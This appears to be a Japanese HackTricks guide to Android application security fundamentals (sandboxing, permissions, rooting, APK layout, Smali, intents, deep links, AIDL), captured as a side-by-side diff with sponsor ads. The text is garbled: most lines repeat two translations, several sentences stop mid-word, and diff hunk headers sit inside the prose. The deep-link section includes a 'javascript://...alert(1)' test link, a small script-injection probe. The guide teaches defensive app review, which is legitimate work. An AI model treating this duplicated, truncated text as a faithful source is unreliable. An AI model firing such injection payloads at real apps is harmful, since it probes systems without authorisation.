HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットですその成長期におけるweb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -7,27 +7,18 @@
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。** 最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントestingの経験を積む**\ ***
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## Androidセキュリティモデル ## Androidセキュリティモデル
@ -38,22 +29,22 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
### UIDの分離 ### UIDの分離
**各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われるため、**アプリは自分のユーザーIDが所有するファイルと共有されるファイルにしかアクセスできません**。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーのみがアプリのデータにアクセスできます。 **各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われ、**アプリは自分のユーザーIDが所有するファイルと共有されるファイルとのみやり取りできます**。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーのみがアプリのデータにアクセスできます。
### UIDの共有 ### UIDの共有
**2つのアプリケーションは同じUIDを使用するように設定できます**。これは情報を共有するために便利ですが、1つのアプリケーションが侵害されると両方のアプリケーションのデータが侵害されます。そのため、この動作は**推奨されません**。\ **2つのアプリケーションは同じUIDを使用するように設定できます**。これは情報を共有するために便利ですが、1つが侵害されると両方のアプリケーションのデータが侵害されます。これがこの動作が**推奨されない**理由です。\
**同じUIDを共有するには、アプリケーションはマニフェストで同じ `android:sharedUserId`値を定義する必要があります。** **同じUIDを共有するには、アプリケーションはマニフェストで同じ`android:sharedUserId`値を定義する必要があります。**
### サンドボックス ### サンドボックス
**Androidアプリケーションサンドボックス**は、**各アプリケーション**を**別のユーザーIDで別のプロセスとして実行**することを可能にします。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから分離して実行されます。\ **Androidアプリケーションサンドボックス**は、**各アプリケーション**を**別のプロセスとして別のユーザーIDで実行**することを可能にします。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから分離して実行されます。\
Android 5.0L以降、**SELinux**が強制されています。基本的に、SELinuxはすべてのプロセス間の相互作用を拒否し、それらの間の**予想される相互作用のみを許可するポリシーを作成**します。 Android 5.0L以降、**SELinux**が強制されています。基本的に、SELinuxはすべてのプロセス間の相互作用を拒否し、それらの間の**予想される相互作用のみを許可するポリシーを作成**します。
### 権限 ### 権限
アプリをインストールすると、アプリは**権限を要求**します。これは、**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求していることを意味します。**uses-permission**要素は、**name**属性内の要求された権限の名前を示します。また、**maxSdkVersion**属性もあり、指定したバージョンよりも高いバージョンでは権限を要求しないようにします。\ アプリをインストールすると、アプリは**権限を要求**します。これは、**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求していることを意味します。**uses-permission**要素は、**name**属性内の要求された権限の名前を示します。また、**maxSdkVersion**属性もあり、指定したバージョンよりも高いバージョンでは権限の要求を停止します。\
Androidアプリケーションは最初からすべての権限を要求する必要はありませんが、**動的に権限を要求する**こともできますが、すべての権限は**マニフェストで宣言**する必要があります。 Androidアプリケーションは最初からすべての権限を要求する必要はなく、**動的に権限を要求**することもできますが、すべての権限は**マニフェストに宣言**されている必要があります。
アプリが機能を公開する場合、**指定された権限を持つアプリのみがアクセスできるように制限**することができます。\ アプリが機能を公開する場合、**指定された権限を持つアプリのみがアクセスできるように制限**することができます。\
権限要素には3つの属性があります 権限要素には3つの属性があります
@ -62,104 +53,102 @@ Androidアプリケーションは最初からすべての権限を要求する
* 関連する権限をグループ化するための**permission-group**属性 * 関連する権限をグループ化するための**permission-group**属性
* 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります * 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります
* **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認する必要はありません**。 * **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認する必要はありません**。
* **Dangerous**:要求するアプリケーションに**特権アクセス**を付与することを示します。**ユーザーに承認を要求**します * **Dangerous**権限が要求するアプリケーションに**特権アクセス**を与えます。**ユーザーに承認を要求します**
* **Signature**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**のみが権限を付与できます。これは最も強力な保護のタイプです。 * **Signature**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**のみが権限を付与されます。これは最も強力な保護のタイプです。
* **SignatureOrSystem**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されるアプリ**のみが権限を付与できます。 * **SignatureOrSystem**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されるアプリ**のみが権限を付与されます。
## 事前インストールされたアプリケーション ## 事前インストールされたアプリケーション
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化されている**場合があります(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**実行時に多くの権限で実行されている**場合があるため、確認する価値があります。 これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、その中には**最適化された**ものもあります(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**実行時に多くの権限で実行されている**場合があるため、確認する価値がありますrootとして
* **AOSP**Android OpenSource Project**ROM**に含まれるもの * **AOSP**Android OpenSource Project**ROM**に含まれるもの
* デバイスの**製造元**によって追加されたもの * デバイスの**製造元**に追加されたもの
* 携帯電話プロバイダーによって追加されたもの(それらから購入した場合) * 携帯電話プロバイダーによって追加されたもの(それらから購入した場合)
## ルーティング
物理的なAndroidデバイスにルートアクセスを取得するためには、通常、デバイスとバージョンに特有の1つまたは2つの脆弱性を悪用する必要があります。\ ## ルート化
エクスプロイトが成功した後、通常はLinuxの`su`バイナリがユーザーのPATH環境変数で指定された場所`/system/xbin`など)にコピーされます。
suバイナリが設定されると、別のAndroidアプリが`su`バイナリとのインターフェースを使用してルートアクセスのリクエストを処理します。これには、Google Playストアで利用可能な**Superuser**や**SuperSU**などのアプリが使用されます。 物理的なAndroidデバイスでルートアクセスを取得するには、通常、**デバイス**と**バージョン**に**特定の脆弱性**を1つまたは2つ**悪用する必要があります**。\
悪用が成功した後、通常はLinuxの`su`バイナリがユーザーのPATH環境変数で指
### ROMs
{% hint style="danger" %} カスタムファームウェアをインストールすることで、OSを置き換えることが可能です。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。OmniROMとLineageOSは、最も人気のあるファームウェアの2つです。
ルーティングプロセスは非常に危険で、デバイスに重大な損害を与える可能性があります。
{% endhint %}
### ROM デバイスにカスタムファームウェアをインストールするためには、必ずしもルート化する必要はありません。一部のメーカーは、ブートローダーのアンロックを十分に文書化された安全な方法で許可しています。
カスタムファームウェアをインストールしてOSを置き換えることができます。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。\
**OmniROM**と**LineageOS**は、最も人気のあるファームウェアの2つです。
デバイスにカスタムファームウェアをインストールするためには、必ずしもデバイスをルート化する必要はありません。**一部のメーカーは、ブートローダーのアンロックを公式にサポートしています**。
### 影響 ### 影響
デバイスがルート化されると、任意のアプリがルートアクセスを要求することができます。悪意のあるアプリがれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。 デバイスがルート化されると、任意のアプリがルートアクセスを要求することができます。悪意のあるアプリがこれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
## Androidアプリケーションの基礎 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a> ## Androidアプリケーションの基礎 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
この紹介は[https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)から引用されています。 この導入は、[https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)から引用されています。
### 基礎の復習 <a href="#fundamentals-review" id="fundamentals-review"></a> ### 基礎の復習 <a href="#fundamentals-review" id="fundamentals-review"></a>
* Androidアプリケーションは_APKファイル形式_であり、**APKは基本的にZIPファイル**です(ファイルの拡張子を.zipに変更し、unzipを使用して内容を開くことができます * Androidアプリケーションは_APKファイル形式_であり、APKは基本的にZIPファイルですファイルの拡張子を.zipに変更し、unzipを使用して内容を開くことができます
* APKの内容完全ではありません * APKの内容完全ではありません
* **AndroidManifest.xml** * AndroidManifest.xml
* resources.arsc/strings.xml * resources.arsc/strings.xml
* resources.arscバイナリXMLなどの、事前にコンパイルされたリソースを含むファイルです。 * resources.arsc: 例えばバイナリXMLなどの、事前にコンパイルされたリソースを含むファイルです。
* res/xml/files\_paths.xml * res/xml/files\_paths.xml
* META-INF/ * META-INF/
* 証明書がここにあります! * 証明書がここにあります!
* **classes.dex** * classes.dex
* アプリケーションがデフォルトで実行するJavaまたはKotlinコードのDalvikバイトコードです。 * アプリケーションがデフォルトで実行するJavaまたはKotlinコードである、DEXファイル形式のDalvikバイトコードです。
* lib/ * lib/
* アプリケーションのネイティブライブラリは、デフォルトではここにあります lib/ディレクトリの下に、cpu固有のディレクトリがあります。 * アプリケーションのネイティブライブラリは、デフォルトではここにありますlib/ディレクトリの下に、cpu固有のディレクトリがあります。
* `armeabi`すべてのARMベースのプロセッサのコンパイル済みコードのみ * `armeabi`: ARMベースのプロセッサ用のコンパイルされたコードのみ
* `armeabi-v7a`すべてのARMv7およびそれ以上のベースのプロセッサのコンパイル済みコードのみ * `armeabi-v7a`: ARMv7およびそれ以上のプロセッサ用のコンパイルされたコードのみ
* `x86`X86のコンパイル済みコード * `x86`: X86用のコンパイルされたコード
* `mips`MIPSプロセッサのコンパイル済みコードのみ * `mips`: MIPSプロセッサ用のコンパイルされたコードのみ
* assets/ * assets/
* アプリが必要とする他のファイルが含まれる場所です。 * アプリが必要とする他のファイルが含まれる場所です。
* ここには、追加のネイティブライブラリやDEXファイルが含まれる場合があります。これは、マルウェアの作成者が追加のコードネイティブまたはDalvik「隠す」ために、デフォルトの場所に含めない場合に特に発生します。 * ここには、追加のネイティブライブラリやDEXファイルが含まれる場合があります。これは、マルウェアの作成者が追加のコードネイティブまたはDalvikデフォルトの場所に含めないことで、「隠す」ために行われることがあります。
* res/ * res/
* resources.arscにコンパイルされていないリソースが含まれるディレクトリ * resources.arscにコンパイルされていないリソースが含まれるディレクトリです。
### **DalvikとSmali** ### **DalvikとSmali**
ほとんどのAndroidアプリケーションはJavaで書かれています。Kotlinもサポートされており、Javaとの相互運用が可能です。このワークショップの残りの部分では、私が「Java」と言及するときは「JavaまたはKotlin」という意味だと思ってください。デスクトップアプリケーションのようにJavaコードがJava仮想マシンJVMで実行されるのではなく、AndroidではJavaは\_Dalvik ExecutableDEXバイトコード\_\*\*形式にコンパイルされます\*\*。Androidの以前のバージョンでは、バイトコードはDalvik仮想マシンによって変換されました。最近のAndroidのバージョンでは、AndroidランタイムARTが使用されています。\ ほとんどのAndroidアプリケーションはJavaで書かれています。Kotlinもサポートされており、Javaとの相互運用が可能です。このワークショップの残りの部分では、私が「Java」と言及するときは「JavaまたはKotlin」という意味だと思ってください。デスクトップアプリケーションのようにJavaコードがJava仮想マシンJVMで実行されるのではなく、AndroidではJavaは\_Dalvik ExecutableDEXバイトコード\_\*\*形式にコンパイルされます\*\*。Androidの以前のバージョンでは、バイトコードはDalvik仮想マシンによって変換されました。最近のAndroidのバージョンでは、AndroidランタイムARTが使用されています。
開発者がJavaで書き、コードがDEXバイトコードにコンパイルされる場合、逆アセンブルするためには逆の方向で作業します。\ 開発者がJavaで書き、コードがDEXバイトコードにコンパイルされる場合、逆アセンブルするためには逆の方向で作業します。
\\
![開発者のプロセスのフローチャート。JavaからDEXバイトコードへ](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg) ![開発者のプロセスのフローチャート。JavaからDEXバイトコードへ](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
![リバースエンジニアのプロセスのフローチャート。DEXバイトコードからSMALIから逆コンパイルされたJavaへ](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg) ![リバースエンジニアのプロセスのフローチャート。DEXバイトコードからSMALIから逆コンパイルされたJavaへ](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
**SmaliはDalvikバイトコードの人間が読めるバージョンです**。厳密には、Smaliとbaksmaliはツールアセンブラとディスアセンブラの名前ですが、Androidでは、私たちはしばしば「Smali」という用語を命令に使用します。コンパイルされたC/C++コードのリバースエンジニアリングやコンピュータアーキテクチャを行ったことがある場合、SMALIはアセンブリ言語のようなものです:高レベルのソースコードとバイトコードの間のものです **SmaliはDalvikバイトコードの人間が読めるバージョンです**。厳密には、Smaliとbaksmaliはツールアセンブラとディスアセンブラの名前ですが、Androidでは、私たちはしばしば「Smali」という用語を命令に言及するために使用します。コンパイルされたC/C++コードのリバースエンジニアリングやコンピュータアーキテクチャを行ったことがある場合、SMALIはアセンブリ言語のようなものです。それは、より高いレベルのソースコードとバイトコードの間のものです。
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。** 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、テックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**遅延なしで報酬を受け取る**\ {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペントテストの経験を積む**\ ***
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長途中のweb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## インテント ## インテント
インテントは、Androidアプリがコンポーネント間または他のアプリとの間で通信するための主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間またはコンポーネント間でデータを運ぶこともできます。 インテントは、Androidアプリがコンポーネント間または他のアプリとの間で通信するための主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間またはコンポーネント間でデータを運ぶこともできます。
したがって、インテントは基本的には**コ したがって、インテントは基本的には**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることもありますし、特定の受信者なしで送信されることもあります**。
簡単に言えば、インテントは次のように使用できます:
* アクティビティを開始するために、通常はアプリのユーザーインターフェースを開くために使用します。
* システムとアプリに変更を通知するためのブロードキャストとして
* バックグラウンドサービスの開始、停止、および通信のために
* ContentProviderを介してデータにアクセスするために
* イベントを処理するためのコールバックとして
不適切な実装は、データの漏洩、制限された関数の呼び出し、およびプログラムフローの操作につながる可能性があります。
### インテントフィルタ
インテントフィルタは、アクティビティ、サービス、またはブロードキャストレシーバが応答できるインテントの種類を指定します。それはアクティビティやサービスが何ができるか、レシーバがどの種類のブロードキャストを処理できるかを指定します。対応するコンポーネントが宣言されたタイプのインテントを受け取ることができるようにします。インテントフィルタは通常、AndroidManifest.xmlファイルを介して定義されます。ブロードキャストレシーバの場合、コーディングでも定義することができます。インテントフィルタは、カテゴリ、アクション、およびデータフィルタによって定義されます。さらに、追加のメタデータを含むこともあります。
Androidでは、アクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバが`exported
### 暗黙的なインテント ### 暗黙的なインテント
インテントは、Intentコンストラクタを使用してプログラムで作成されます。 インテントは、Intentコンストラクタを使用してプログラムで作成されます。
```java ```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
``` ```
@ -176,7 +165,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
``` ```
インテントフィルタは、メッセージを受け取るために**アクション**、**データ**、および**カテゴリ**と一致する必要があります。 インテントフィルタは、メッセージを受け取るために**アクション**、**データ**、および**カテゴリ**と一致する必要があります。
「インテントの解決」プロセスは、どのアプリが各メッセージを受け取るかを決定します。このプロセスでは、**優先度属性**が考慮されます。この属性は、**インテントフィルタの宣言**で設定でき、**優先度が高いものが選択されます**。この優先度は、-1000から1000で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`の値を使用することができます。**競合**が発生した場合、ユーザーが**決定できるように**「選択ウィンドウが表示されます。 「インテントの解決」プロセスは、各メッセージを受け取るべきアプリを決定します。このプロセスでは、**優先度属性**が考慮されます。この属性は、**インテントフィルタの宣言**で設定でき、**優先度が高いものが選択されます**。この優先度は、-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`の値を使用することができます。**競合**が発生した場合、ユーザーが**決定できるように「選択ウィンドウが表示されます**
### 明示的インテント ### 明示的インテント
@ -202,13 +191,13 @@ context.startService(intent);
ブロードキャストには2つのタイプがあります通常非同期と順序付けられた同期。順序は、受信側の要素内で設定された優先度に基づいています。各アプリはブロードキャストを処理、中継、または破棄することができます。 ブロードキャストには2つのタイプがあります通常非同期と順序付けられた同期。順序は、受信側の要素内で設定された優先度に基づいています。各アプリはブロードキャストを処理、中継、または破棄することができます。
Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用してブロードキャストを送信することができます。また、LocalBroadCastManagerの`sendBroadcast`関数を使用すると、メッセージがアプリを離れることはありません。これを使用すると、受信側コンポーネントをエクスポートする必要もありません。 Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用してブロードキャストを送信することが可能です。また、LocalBroadCastManagerの`sendBroadcast`関数を使用すると、メッセージがアプリを離れることはありません。これを使用すると、受信側コンポーネントをエクスポートする必要もありません。
### スティッキーブロードキャスト ### スティッキーブロードキャスト
この種のブロードキャストは、送信後も長時間アクセスできます。これらはAPIレベル21で非推奨となっており、使用しないことが推奨されています。これにより、任意のアプリケーションがデータを嗅覚するだけでなく、変更することも可能です。 この種のブロードキャストは、送信後に長時間アクセスできます。これらはAPIレベル21で非推奨とされており、使用しないことが推奨されています。これにより、任意のアプリケーションがデータを嗅覚するだけでなく、変更することも可能です。
「sticky」を含む関数`sendStickyBroadcast`や`sendStickyBroadcastAsUser`など)が見つかった場合は、その影響を確認し、削除を試みてください。 「sticky」を含む関数`sendStickyBroadcast`や`sendStickyBroadcastAsUser`など)が見つかった場合は、その影響を確認し、それらを削除しようとしてください。
## ディープリンク/URLスキーム ## ディープリンク/URLスキーム
@ -216,13 +205,13 @@ Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用し
![](<../../.gitbook/assets/image (214).png>) ![](<../../.gitbook/assets/image (214).png>)
この場合、スキームは`myapp://`です(また、**`category BROWSABLE`**に注意してください)。 この場合、スキームは`myapp://`です(また、**`category BROWSABLE`**に注意してください)。
`intent-filter`内に次のようなものが見つかった場合: `intent-filter`内に次のようなものが見つかった場合:
![](<../../.gitbook/assets/image (263).png>) ![](<../../.gitbook/assets/image (263).png>)
それは`http://www.example.com/gizmos`のようなものを期待していることを意味します。 それは`http://www.example.com/gizmos`のようなものを期待しています。
次のようなものが見つかった場合: 次のようなものが見つかった場合:
@ -233,7 +222,7 @@ Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用し
<a href="example://gizmos/https://google.com">click here</a> <a href="example://gizmos/https://google.com">click here</a>
<a href="example://gizmos/javascript://%250dalert(1)">click here</a> <a href="example://gizmos/javascript://%250dalert(1)">click here</a>
``` ```
**アプリで実行されるコード**を見つけるために、ディープリンク呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。 **アプリで実行されるコード**を見つけるために、ディープリンクによって呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
@ -241,7 +230,7 @@ Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用し
## AIDL - Android Interface Definition Language ## AIDL - Android Interface Definition Language
**Android Interface Definition Language**AIDLを使用すると、**クライアントとサービスが相互プロセス通信**IPCを使用してお互いと通信するために合意するプログラミングインターフェースを定義できます。Androidでは、**通常、1つのプロセスは他のプロセスのメモリにアクセスできません**。そのため、通信するために、オブジェクトをオペレーティングシステムが理解できるプリミティブに分解し、オブジェクトをその境界を越えてマーシャリングする必要があります。そのマーシャリングを行うコードは書くのが面倒なので、AndroidはAIDLで処理します。 **Android Interface Definition Language**AIDLを使用すると、**クライアントとサービスが相互プロセス通信**IPCを使用してお互いと通信するために合意するプログラミングインターフェースを定義できます。Androidでは、**通常、1つのプロセスは他のプロセスのメモリにアクセスできません**。そのため、通信するために、オブジェクトをオペレーティングシステムが理解できるプリミティブに分解し、オブジェクトをその境界を越えてマーシャリングする必要があります。そのマーシャリングを行うコードは書くのが面倒なので、AndroidはAIDLでそれを処理します。
AIDLを使用するサービスは、**バウンドサービス**と呼ばれます。サービスのクラスには、**`onBind`** メソッドがあります。これが**相互作用が始まる場所**であり、潜在的な脆弱性を探すためにレビューするコードの最初の部分です。 AIDLを使用するサービスは、**バウンドサービス**と呼ばれます。サービスのクラスには、**`onBind`** メソッドがあります。これが**相互作用が始まる場所**であり、潜在的な脆弱性を探すためにレビューするコードの最初の部分です。
@ -261,7 +250,7 @@ Binderクラスが直接呼び出されることは珍しいですが、Binder
### ランチャーアクティビティとその他のアクティビティ ### ランチャーアクティビティとその他のアクティビティ
**Androidアクティビティ**は、**Androidアプリ**のユーザーインターフェースの1つの画面です。このように、**Androidアクティビティ**はデスクトップアプリケーションのウィンドウに非常に似ています。**Android**アプリには1つ以上のアクティビティが含まれる場合があります。 **Androidアクティビティ**は、**Androidアプリ**のユーザーインターフェースの1つの画面です。そのため、**Androidアクティビティ**はデスクトップアプリケーションのウィンドウに非常に似ています。**Android**アプリには1つ以上のアクティビティが含まれる場合があります。
**ランチャーアクティビティ**は、ほとんどの人がAndroidアプリケーションの**エントリーポイント**と考えるものです。ランチャーアクティビティは、ユーザーがアプリケーションのアイコンをクリックしたときに起動されるアクティビティです。ランチャーアクティビティは、アプリケーションのマニフェストを見ることで特定できます。ランチャーアクティビティは、以下のMAINとLAUNCHERのインテントがリストされています。 **ランチャーアクティビティ**は、ほとんどの人がAndroidアプリケーションの**エントリーポイント**と考えるものです。ランチャーアクティビティは、ユーザーがアプリケーションのアイコンをクリックしたときに起動されるアクティビティです。ランチャーアクティビティは、アプリケーションのマニフェストを見ることで特定できます。ランチャーアクティビティは、以下のMAINとLAUNCHERのインテントがリストされています。
@ -285,7 +274,7 @@ android:exported="true"
